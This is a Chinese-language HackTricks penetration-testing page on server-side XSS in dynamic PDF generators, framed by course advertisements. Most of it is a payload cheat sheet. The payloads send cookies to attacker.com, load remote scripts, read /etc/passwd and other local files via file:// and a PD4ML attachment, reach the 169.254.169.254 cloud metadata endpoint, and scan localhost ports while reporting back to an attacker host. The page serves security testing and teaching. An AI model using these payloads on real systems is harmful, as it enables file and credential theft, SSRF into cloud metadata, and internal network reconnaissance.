从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) ! 支持 HackTricks 的其他方式:
如果您想看到您的公司在 HackTricks 中做广告 或下载 PDF 版本的 HackTricks ,请查看订阅计划 !
服务器端 XSS(动态 PDF)
如果一个网页使用用户控制的输入创建 PDF,您可以尝试欺骗 创建 PDF 的机器人 以执行任意的 JS 代码 。
因此,如果PDF 创建机器人发现 某种HTML 标签 ,它将解释 它们,您可以滥用 这种行为来引起服务器 XSS 。
请注意,<script></script>
标签并不总是有效,因此您需要一种不同的方法来执行 JS(例如,滥用 <img
)。
此外,请注意,在常规利用中,您将能够查看/下载创建的 PDF,因此您将能够查看您通过 JS 编写的所有内容 (例如使用 document.write()
)。但是,如果您无法看到 创建的 PDF,您可能需要通过向您发出网络请求来提取信息 (盲目)。
流行的 PDF 生成工具
wkhtmltopdf 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名,利用 WebKit 渲染引擎。这个工具作为一个开源命令行实用程序可用,适用于各种应用程序。
TCPDF 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案。它能够处理图像、图形和加密,展示了其为创建复杂文档提供的多功能性。
对于在 Node.js 环境中工作的人,PDFKit 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档,为 Web 内容和可打印格式之间提供了桥梁。
Java 开发人员可能更喜欢 iText ,这是一个库,不仅有助于 PDF 创建,还支持高级功能,如数字签名和表单填充。其全面的功能集使其适用于生成安全和交互式文档。
FPDF 是另一个 PHP 库,以其简单性和易用性而著称。它专为寻求简单方法进行 PDF 生成的开发人员设计,无需复杂功能。
攻击载荷
发现
复制 <!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
SVG
先前的任何负载或以下负载都可以用在这个SVG负载中。一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe被放置为示例。
复制 <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
您可以在https://github.com/allanlw/svg-cheatsheet 中找到许多其他SVG有效负载 。
路径泄露
复制 <!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
加载外部脚本
利用这个漏洞的最佳方法是滥用漏洞,使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都使用相同的代码加载它。
复制 <script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
读取本地文件 / SSRF
将 file:///etc/passwd
更改为 http://169.254.169.254/latest/user-data
例如尝试访问外部网页(SSRF)。
如果允许 SSRF,但无法访问 感兴趣的域或 IP,请查看此页面以获取潜在的绕过方法 。
复制 <script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
复制 <script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
复制 <iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
复制 <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
机器人延迟
复制 <!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
端口扫描
复制 <!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
这个漏洞可以很容易地转变成SSRF(因为你可以让脚本加载外部资源)。所以尝试利用它(读取一些元数据?)。
附件:PD4ML
有一些HTML转PDF引擎允许为PDF指定附件 ,比如PD4ML 。你可以滥用这个功能将任何本地文件 附加到PDF中。
要打开附件,我用Firefox打开文件,双击纸夹符号 来存储附件 为一个新文件。
使用Burp捕获PDF响应 也应该在PDF中以明文显示附件 。
复制 <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
< html >< pd4ml:attachment src = "/etc/passwd" description = "attachment sample" icon = "Paperclip" /></ html >
参考资料
从零开始学习AWS黑客技术,成为英雄 htARTE(HackTricks AWS Red Team Expert) ! 支持HackTricks的其他方式:
如果您想看到您的公司在HackTricks中做广告 或下载PDF格式的HackTricks ,请查看订阅计划 !